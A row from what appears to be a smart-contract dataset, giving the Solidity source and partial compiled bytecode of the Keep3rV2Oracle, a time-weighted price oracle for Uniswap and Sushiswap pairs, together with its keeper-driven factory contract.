address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xd14439b3a7245d8ea92e37b77347014ea7e4f809 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function token0() external view returns (address);
function token1() external view returns (address);
}
interface IKeep3rV1 {
function keepers(address keeper) external returns (bool);
function KPRH() external view returns (IKeep3rV1Helper);
function receipt(address credit, address keeper, uint amount) external;
}
interface IKeep3rV1Helper {
function getQuoteLimit(uint gasUsed) external view returns (uint);
}
// sliding oracle that uses observations collected to provide moving price averages in the past
contract Keep3rV2Oracle {
constructor(address _pair) {
_factory = msg.sender;
pair = _pair;
(,,uint32 timestamp) = IUniswapV2Pair(_pair).getReserves();
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(_pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(_pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
}
struct Observation {
uint32 timestamp;
uint112 price0Cumulative;
uint112 price1Cumulative;
}
modifier factory() {
require(msg.sender == _factory, "!F");
_;
}
Observation[65535] public observations;
uint16 public length;
address immutable _factory;
address immutable public pair;
// this is redundant with granularity and windowSize, but stored for gas savings & informational purposes.
uint constant periodSize = 1800;
uint Q112 = 2**112;
uint e10 = 10**18;
// Pre-cache slots for cheaper oracle writes
function cache(uint size) external {
uint _length = length+size;
for (uint i = length; i < _length; i++) observations[i].timestamp = 1;
}
// update the current feed for free
function update() external factory returns (bool) {
return _update();
}
function updateable() external view returns (bool) {
Observation memory _point = observations[length-1];
(,, uint timestamp) = IUniswapV2Pair(pair).getReserves();
uint timeElapsed = timestamp - _point.timestamp;
return timeElapsed > periodSize;
}
function _update() internal returns (bool) {
Observation memory _point = observations[length-1];
(,, uint32 timestamp) = IUniswapV2Pair(pair).getReserves();
uint32 timeElapsed = timestamp - _point.timestamp;
if (timeElapsed > periodSize) {
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
return true;
}
return false;
}
function _computeAmountOut(uint start, uint end, uint elapsed, uint amountIn) internal view returns (uint amountOut) {
amountOut = amountIn * (end - start) / e10 / elapsed;
}
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
Observation memory _observation = observations[length-1];
uint price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112;
uint price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
// Handle edge cases where we have no updates, will revert on first reading set
if (timestamp == _observation.timestamp) {
_observation = observations[length-2];
}
uint timeElapsed = timestamp - _observation.timestamp;
timeElapsed = timeElapsed == 0 ? 1 : timeElapsed;
if (token0 == tokenIn) {
amountOut = _computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
amountOut = _computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
lastUpdatedAgo = timeElapsed;
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
uint priceAverageCumulative = 0;
uint _length = length-1;
uint i = _length - points;
Observation memory currentObservation;
Observation memory nextObservation;
uint nextIndex = 0;
if (token0 == tokenIn) {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
} else {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
}
amountOut = priceAverageCumulative / points;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
prices = new uint[](points);
if (token0 == tokenIn) {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
} else {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
}
}
}
contract Keep3rV2OracleFactory {
function pairForSushi(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0xc35DADB65012eC5796536bD9864eD8773aBc74C4,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash
)))));
}
function pairForUni(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
)))));
}
modifier keeper() {
require(KP3R.keepers(msg.sender), "!K");
_;
}
modifier upkeep() {
uint _gasUsed = gasleft();
require(KP3R.keepers(msg.sender), "!K");
_;
uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed - gasleft());
KP3R.receipt(address(KP3R), msg.sender, _received);
}
address public governance;
address public pendingGovernance;
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "!G");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "!pG");
governance = pendingGovernance;
}
IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
address[] internal _pairs;
mapping(address => Keep3rV2Oracle) public feeds;
function pairs() external view returns (address[] memory) {
return _pairs;
}
constructor() {
governance = msg.sender;
}
function update(address pair) external keeper returns (bool) {
return feeds[pair].update();
}
function byteCode(address pair) external pure returns (bytes memory bytecode) {
bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
}
function deploy(address pair) external returns (address feed) {
require(msg.sender == governance, "!G");
require(address(feeds[pair]) == address(0), 'PE');
bytes memory bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
bytes32 salt = keccak256(abi.encodePacked(pair));
assembly {
feed := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
if iszero(extcodesize(feed)) {
revert(0, 0)
}
}
feeds[pair] = Keep3rV2Oracle(feed);
_pairs.push(pair);
}
function work() external upkeep {
require(workable(), "!W");
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function work(address pair) external upkeep {
require(feeds[pair].update(), "!W");
}
function workForFree() external {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function workForFree(address pair) external {
feeds[pair].update();
}
function cache(uint size) external {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].cache(size);
}
}
function cache(address pair, uint size) external {
feeds[pair].cache(size);
}
function workable() public view returns (bool canWork) {
canWork = true;
for (uint i = 0; i < _pairs.length; i++) {
if (!feeds[_pairs[i]].updateable()) {
canWork = false;
}
}
}
function workable(address pair) public view returns (bool) {
return feeds[pair].updateable();
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window, bool sushiswap) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function sample(address pair, address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
return feeds[pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].quote(tokenIn, amountIn, tokenOut, points);
}
function quote(address pair, address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].quote(tokenIn, amountIn, tokenOut, points);
}
function current(address tokenIn, uint amountIn, address tokenOut, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].current(tokenIn, amountIn, tokenOut);
}
function current(address pair, address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].current(tokenIn, amountIn, tokenOut);
}
} | 0x60806040523480156200001157600080fd5b5060043610620001785760003560e01c8063399b2fb911620000d55780639f47130311620000875780639f4713031462000363578063ab033ea9146200037a578063ac8355921462000391578063f39c38a014620003a8578063fe54cee614620003bc578063ffb0a4a014620003d35762000178565b8063399b2fb914620002f65780634c96a389146200030057806350d4d86614620003175780635aa6e675146200032e578063740c25a2146200034257806380bb2bac14620003595762000178565b8063273c9d72116200012f578063273c9d7214620002555780632fba4aa9146200026c57806331ff3e9f1462000298578063322e9f0414620002af57806336df7ea514620002b9578063376346de14620002d05762000178565b806305e0b9a0146200017d578063122ba6d114620001b657806317bf72c614620001dd5780631c1b877214620001f6578063238efcbc146200021e57806323c87faf1462000228575b600080fd5b62000199731ceb5cb57c4d4e2b2433641b95dd330a33185a4481565b6040516001600160a01b0390911681526020015b60405180910390f35b620001cd620001c736600462001b7c565b620003ec565b604051620001ad92919062001dd3565b620001f4620001ee36600462001cfb565b620004d8565b005b6200020d6200020736600462001950565b620005a4565b6040519015158152602001620001ad565b620001f4620006ea565b6200023f6200023936600462001b17565b62000750565b60408051928352602083019190915201620001ad565b6200023f6200026636600462001976565b6200082f565b620001996200027d36600462001950565b6003602052600090815260409020546001600160a01b031681565b6200023f620002a936600462001ac9565b620008dd565b620001f4620009b4565b620001f4620002ca36600462001950565b62000d17565b620002e7620002e136600462001950565b62001018565b604051620001ad919062001e1d565b620001f462001087565b620001996200031136600462001950565b6200116e565b620001cd6200032836600462001a30565b6200131e565b60005462000199906001600160a01b031681565b620001f46200035336600462001950565b620013e2565b6200020d6200146f565b6200020d6200037436600462001950565b62001562565b620001f46200038b36600462001950565b620015ca565b620001f4620003a236600462001a9b565b6200162d565b60015462000199906001600160a01b031681565b6200023f620003cd366004620019cf565b6200166e565b620003dd62001724565b604051620001ad919062001d84565b606060008083620004095762000403898862001788565b62000415565b62000415898862001873565b6001600160a01b038181166000908152600360205260409081902054905163014f267360e31b81528c83166004820152602481018c90528a83166044820152606481018a9052608481018990529293501690630a7933989060a40160006040518083038186803b1580156200048957600080fd5b505afa1580156200049e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052620004c8919081019062001be9565b9250925050965096945050505050565b60005b600254811015620005a05760036000600283815481106200050c57634e487b7160e01b600052603260045260246000fd5b6000918252602080832091909101546001600160a01b0390811684529083019390935260409182019020549051630bdfb96360e11b8152600481018590529116906317bf72c690602401600060405180830381600087803b1580156200057157600080fd5b505af115801562000586573d6000803e3d6000fd5b505050508080620005979062001ebb565b915050620004db565b5050565b604051630eef592f60e21b8152336004820152600090731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b158015620005f457600080fd5b505af115801562000609573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200062f919062001cbd565b620006575760405162461bcd60e51b81526004016200064e9062001e52565b60405180910390fd5b6001600160a01b03808316600090815260036020908152604080832054815163a2e6204560e01b8152915194169363a2e6204593600480840194938390030190829087803b158015620006a957600080fd5b505af1158015620006be573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620006e4919062001cbd565b92915050565b6001546001600160a01b031633146200072c5760405162461bcd60e51b815260206004820152600360248201526221704760e81b60448201526064016200064e565b600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000806000836200076d5762000767888762001788565b62000779565b62000779888762001873565b6001600160a01b038181166000908152600360205260409081902054905163ae6ec9b760e01b81528b83166004820152602481018b9052898316604482015260648101899052929350169063ae6ec9b790608401604080518083038186803b158015620007e557600080fd5b505afa158015620007fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000820919062001d2d565b92509250509550959350505050565b6001600160a01b038481166000908152600360205260408082205490516353ae9ce160e11b815286841660048201526024810186905284841660448201529192839291169063a75d39c290606401604080518083038186803b1580156200089557600080fd5b505afa158015620008aa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620008d0919062001d2d565b9150915094509492505050565b600080600083620008fa57620008f4878662001788565b62000906565b62000906878662001873565b6001600160a01b03818116600090815260036020526040908190205490516353ae9ce160e11b81528a83166004820152602481018a90528883166044820152929350169063a75d39c290606401604080518083038186803b1580156200096b57600080fd5b505afa15801562000980573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620009a6919062001d2d565b925092505094509492505050565b60005a604051630eef592f60e21b8152336004820152909150731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b15801562000a0757600080fd5b505af115801562000a1c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000a42919062001cbd565b62000a615760405162461bcd60e51b81526004016200064e9062001e52565b62000a6b6200146f565b62000a9e5760405162461bcd60e51b8152602060048201526002602482015261215760f01b60448201526064016200064e565b60005b60025481101562000b8257600360006002838154811062000ad257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b039081168452838201949094526040928301822054835163a2e6204560e01b8152935194169363a2e6204593600480820194918390030190829087803b15801562000b3157600080fd5b505af115801562000b46573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000b6c919062001cbd565b508062000b798162001ebb565b91505062000aa1565b506000731ceb5cb57c4d4e2b2433641b95dd330a33185a446001600160a01b03166309aff02b6040518163ffffffff1660e01b815260040160206040518083038186803b15801562000bd357600080fd5b505afa15801562000be8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000c0e919062001cdc565b6001600160a01b031663525ea6315a62000c29908562001e6e565b6040518263ffffffff1660e01b815260040162000c4891815260200190565b60206040518083038186803b15801562000c6157600080fd5b505afa15801562000c76573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000c9c919062001d14565b6040516346cd669760e11b8152731ceb5cb57c4d4e2b2433641b95dd330a33185a446004820181905233602483015260448201839052919250638d9acd2e906064015b600060405180830381600087803b15801562000cfa57600080fd5b505af115801562000d0f573d6000803e3d6000fd5b505050505050565b60005a604051630eef592f60e21b8152336004820152909150731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b15801562000d6a57600080fd5b505af115801562000d7f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000da5919062001cbd565b62000dc45760405162461bcd60e51b81526004016200064e9062001e52565b6001600160a01b03808316600090815260036020908152604080832054815163a2e6204560e01b8152915194169363a2e6204593600480840194938390030190829087803b15801562000e1657600080fd5b505af115801562000e2b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000e51919062001cbd565b62000e845760405162461bcd60e51b8152602060048201526002602482015261215760f01b60448201526064016200064e565b6000731ceb5cb57c4d4e2b2433641b95dd330a33185a446001600160a01b03166309aff02b6040518163ffffffff1660e01b815260040160206040518083038186803b15801562000ed457600080fd5b505afa15801562000ee9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000f0f919062001cdc565b6001600160a01b031663525ea6315a62000f2a908562001e6e565b6040518263ffffffff1660e01b815260040162000f4991815260200190565b60206040518083038186803b15801562000f6257600080fd5b505afa15801562000f77573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000f9d919062001d14565b6040516346cd669760e11b8152731ceb5cb57c4d4e2b2433641b95dd330a33185a446004820181905233602483015260448201839052919250638d9acd2e90606401600060405180830381600087803b15801562000ffa57600080fd5b505af11580156200100f573d6000803e3d6000fd5b50505050505050565b6060604051806020016200102c9062001942565b601f1982820381018352601f9091011660408181526001600160a01b03851660208301520160408051601f198184030181529082905262001071929160200162001d51565b6040516020818303038152906040529050919050565b60005b6002548110156200116b576003600060028381548110620010bb57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b039081168452838201949094526040928301822054835163a2e6204560e01b8152935194169363a2e6204593600480820194918390030190829087803b1580156200111a57600080fd5b505af11580156200112f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001155919062001cbd565b5080620011628162001ebb565b9150506200108a565b50565b600080546001600160a01b03163314620011b05760405162461bcd60e51b8152602060048201526002602482015261214760f01b60448201526064016200064e565b6001600160a01b038281166000908152600360205260409020541615620011ff5760405162461bcd60e51b8152602060048201526002602482015261504560f01b60448201526064016200064e565b600060405180602001620012139062001942565b601f1982820381018352601f9091011660408181526001600160a01b03861660208301520160408051601f198184030181529082905262001258929160200162001d51565b60408051601f19818403018152908290526001600160601b0319606086901b1660208301529150600090603401604051602081830303815290604052805190602001209050808251602084016000f59250823b620012b557600080fd5b50506001600160a01b03918216600081815260036020526040812080549484166001600160a01b03199586161790556002805460018101825591527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180549093161790915590565b6001600160a01b0386811660009081526003602052604080822054905163014f267360e31b8152888416600482015260248101889052868416604482015260648101869052608481018590526060939190911690630a7933989060a40160006040518083038186803b1580156200139457600080fd5b505afa158015620013a9573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052620013d3919081019062001be9565b91509150965096945050505050565b6001600160a01b03808216600090815260036020908152604080832054815163a2e6204560e01b8152915194169363a2e6204593600480840194938390030190829087803b1580156200143457600080fd5b505af115801562001449573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005a0919062001cbd565b600160005b6002548110156200155e576003600060028381548110620014a557634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03908116845283820194909452604092830190912054825163983586d960e01b8152925193169263983586d9926004808201939291829003018186803b1580156200150457600080fd5b505afa15801562001519573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200153f919062001cbd565b6200154957600091505b80620015558162001ebb565b91505062001474565b5090565b6001600160a01b03808216600090815260036020908152604080832054815163983586d960e01b815291519394169263983586d992600480840193919291829003018186803b158015620015b557600080fd5b505afa158015620006be573d6000803e3d6000fd5b6000546001600160a01b031633146200160b5760405162461bcd60e51b8152602060048201526002602482015261214760f01b60448201526064016200064e565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0382811660009081526003602052604090819020549051630bdfb96360e11b8152600481018490529116906317bf72c69060240162000cdf565b6001600160a01b0385811660009081526003602052604080822054905163ae6ec9b760e01b81528784166004820152602481018790528584166044820152606481018590529192839291169063ae6ec9b790608401604080518083038186803b158015620016db57600080fd5b505afa158015620016f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001716919062001d2d565b915091509550959350505050565b606060028054806020026020016040519081016040528092919081815260200182805480156200177e57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116200175f575b5050505050905090565b6000806000836001600160a01b0316856001600160a01b031610620017af578385620017b2565b84845b60408051606084811b6001600160601b03199081166020808501919091529185901b166034830152825160288184030181526048830190935282519201919091206001600160f81b03196068830152735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f60601b6069830152607d8201527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d820152919350915060bd015b60408051601f19818403018152919052805160209091012095945050505050565b6000806000836001600160a01b0316856001600160a01b0316106200189a5783856200189d565b84845b60408051606084811b6001600160601b03199081166020808501919091529185901b166034830152825160288184030181526048830190935282519201919091206001600160f81b031960688301527330d76b6d9404bb15e594daf66193b61dceaf1d3160621b6069830152607d8201527fe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303609d820152919350915060bd0162001852565b611c7b8062001f2b83390190565b60006020828403121562001962578081fd5b81356200196f8162001f05565b9392505050565b600080600080608085870312156200198c578283fd5b8435620019998162001f05565b93506020850135620019ab8162001f05565b9250604085013591506060850135620019c48162001f05565b939692955090935050565b600080600080600060a08688031215620019e7578081fd5b8535620019f48162001f05565b9450602086013562001a068162001f05565b935060408601359250606086013562001a1f8162001f05565b949793965091946080013592915050565b60008060008060008060c0878903121562001a49578081fd5b863562001a568162001f05565b9550602087013562001a688162001f05565b945060408701359350606087013562001a818162001f05565b9598949750929560808101359460a0909101359350915050565b6000806040838503121562001aae578182fd5b823562001abb8162001f05565b946020939093013593505050565b6000806000806080858703121562001adf578384fd5b843562001aec8162001f05565b935060208501359250604085013562001b058162001f05565b91506060850135620019c48162001f1b565b600080600080600060a0868803121562001b2f578081fd5b853562001b3c8162001f05565b945060208601359350604086013562001b558162001f05565b925060608601359150608086013562001b6e8162001f1b565b809150509295509295909350565b60008060008060008060c0878903121562001b95578182fd5b863562001ba28162001f05565b955060208701359450604087013562001bbb8162001f05565b9350606087013592506080870135915060a087013562001bdb8162001f1b565b809150509295509295509295565b6000806040838503121562001bfc578182fd5b825167ffffffffffffffff8082111562001c14578384fd5b818501915085601f83011262001c28578384fd5b815160208282111562001c3f5762001c3f62001eef565b8160051b604051601f19603f8301168101818110868211171562001c675762001c6762001eef565b604052838152828101945085830182870184018b101562001c86578889fd5b8896505b8487101562001caa57805186526001969096019594830194830162001c8a565b5097909101519698969750505050505050565b60006020828403121562001ccf578081fd5b81516200196f8162001f1b565b60006020828403121562001cee578081fd5b81516200196f8162001f05565b60006020828403121562001d0d578081fd5b5035919050565b60006020828403121562001d26578081fd5b5051919050565b6000806040838503121562001d40578182fd5b505080516020909101519092909150565b6000835162001d6581846020880162001e88565b83519083019062001d7b81836020880162001e88565b01949350505050565b6020808252825182820181905260009190848201906040850190845b8181101562001dc75783516001600160a01b03168352928401929184019160010162001da0565b50909695505050505050565b604080825283519082018190526000906020906060840190828701845b8281101562001e0e5781518452928401929084019060010162001df0565b50505092019290925292915050565b600060208252825180602084015262001e3e81604085016020870162001e88565b601f01601f19169190910160400192915050565b602080825260029082015261214b60f01b604082015260600190565b60008282101562001e835762001e8362001ed9565b500390565b60005b8381101562001ea557818101518382015260200162001e8b565b8381111562001eb5576000848401525b50505050565b600060001982141562001ed25762001ed262001ed9565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146200116b57600080fd5b80151581146200116b57600080fdfe60c0604052600160701b6201000055670de0b6b3a764000062010001553480156200002957600080fd5b5060405162001c7b38038062001c7b8339810160408190526200004c9162000319565b33606090811b6080526001600160601b031982821b1660a05260408051630240bc6b60e21b815290516000926001600160a01b03851692630902f1ac9260048083019392829003018186803b158015620000a557600080fd5b505afa158015620000ba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000e0919062000349565b92505050600062010000546201000154846001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b1580156200012a57600080fd5b505afa1580156200013f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016591906200039d565b620001719190620003d7565b6200017d9190620003b6565b9050600062010000546201000154856001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015620001c557600080fd5b505afa158015620001da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020091906200039d565b6200020c9190620003d7565b620002189190620003b6565b6040805160608101825263ffffffff861681526001600160701b03808616602083015283169181019190915261ffff8054929350909160009190811690826200026183620003f9565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff81106200029f57634e487b7160e01b600052603260045260246000fd5b825191018054602084015160409094015163ffffffff9093166001600160901b0319909116176401000000006001600160701b0394851602176001600160901b0316600160901b9390921692909202179055506200043492505050565b80516001600160701b03811681146200031457600080fd5b919050565b6000602082840312156200032b578081fd5b81516001600160a01b038116811462000342578182fd5b9392505050565b6000806000606084860312156200035e578182fd5b6200036984620002fc565b92506200037960208501620002fc565b9150604084015163ffffffff8116811462000392578182fd5b809150509250925092565b600060208284031215620003af578081fd5b5051919050565b600082620003d257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615620003f457620003f46200041e565b500290565b600061ffff808316818114156200041457620004146200041e565b6001019392505050565b634e487b7160e01b600052601160045260246000fd5b60805160601c60a05160601c6117d5620004a6600039600081816101830152818161041f0152818161067b0152818161088001528181610a6501528181610b0401528181610bad01528181611044015281816111d10152818161128001526113330152600061093101526117d56000f3fe608060405234801561001057600080fd5b50600436106100935760003560e01c8063983586d911610066578063983586d914610136578063a2e620451461014e578063a75d39c214610156578063a8aa1b311461017e578063ae6ec9b7146101bd57610093565b80630a7933981461009857806317bf72c6146100c25780631f7b6d32146100d7578063252c09d7146100f7575b600080fd5b6100ab6100a636600461158b565b6101d0565b6040516100b9929190611656565b60405180910390f35b6100d56100d0366004611626565b610737565b005b61ffff80546100e4911681565b60405161ffff90911681526020016100b9565b61010a610105366004611626565b6107b1565b6040805163ffffffff90941684526001600160701b0392831660208501529116908201526060016100b9565b61013e6107ea565b60405190151581526020016100b9565b61013e610924565b61016961016436600461150d565b610994565b604080519283526020830191909152016100b9565b6101a57f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016100b9565b6101696101cb366004611548565b610d5d565b6060600080856001600160a01b0316886001600160a01b0316106101f55785886101f8565b87865b5090508467ffffffffffffffff81111561022257634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561024b578160200160208202803683370190505b509250876001600160a01b0316816001600160a01b031614156104d45761ffff805460009161027d91600191166116f5565b61ffff169050600061028f86886116d6565b6102999083611718565b60408051606081018252600080825260208201819052918101829052919250905b8383101561041b5760408051606081018252600080825260208201819052918101829052908461ffff81106102ff57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006103488a8661169e565b61ffff811061036757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b9094048216948601949094529185015185519496506103d094921692916103c49161172f565b63ffffffff168f611100565b8884815181106103f057634e487b7160e01b600052603260045260246000fd5b602090810291909101015261040683600161169e565b92506104149050888461169e565b92506102ba565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561047657600080fd5b505afa15801561048a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ae91906115d8565b845163ffffffff91821694506104c8935016905082611718565b9650505050505061072c565b61ffff80546000916104e991600191166116f5565b61ffff16905060006104fb86886116d6565b6105059083611718565b60408051606081018252600080825260208201819052918101829052919250905b838310156106775760408051606081018252600080825260208201819052918101829052908461ffff811061056b57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006105b48a8661169e565b61ffff81106105d357634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292850151855194965061062c94921692916103c49161172f565b88848151811061064c57634e487b7160e01b600052603260045260246000fd5b602090810291909101015261066283600161169e565b92506106709050888461169e565b9250610526565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156106d257600080fd5b505afa1580156106e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070a91906115d8565b845163ffffffff9182169450610724935016905082611718565b965050505050505b509550959350505050565b61ffff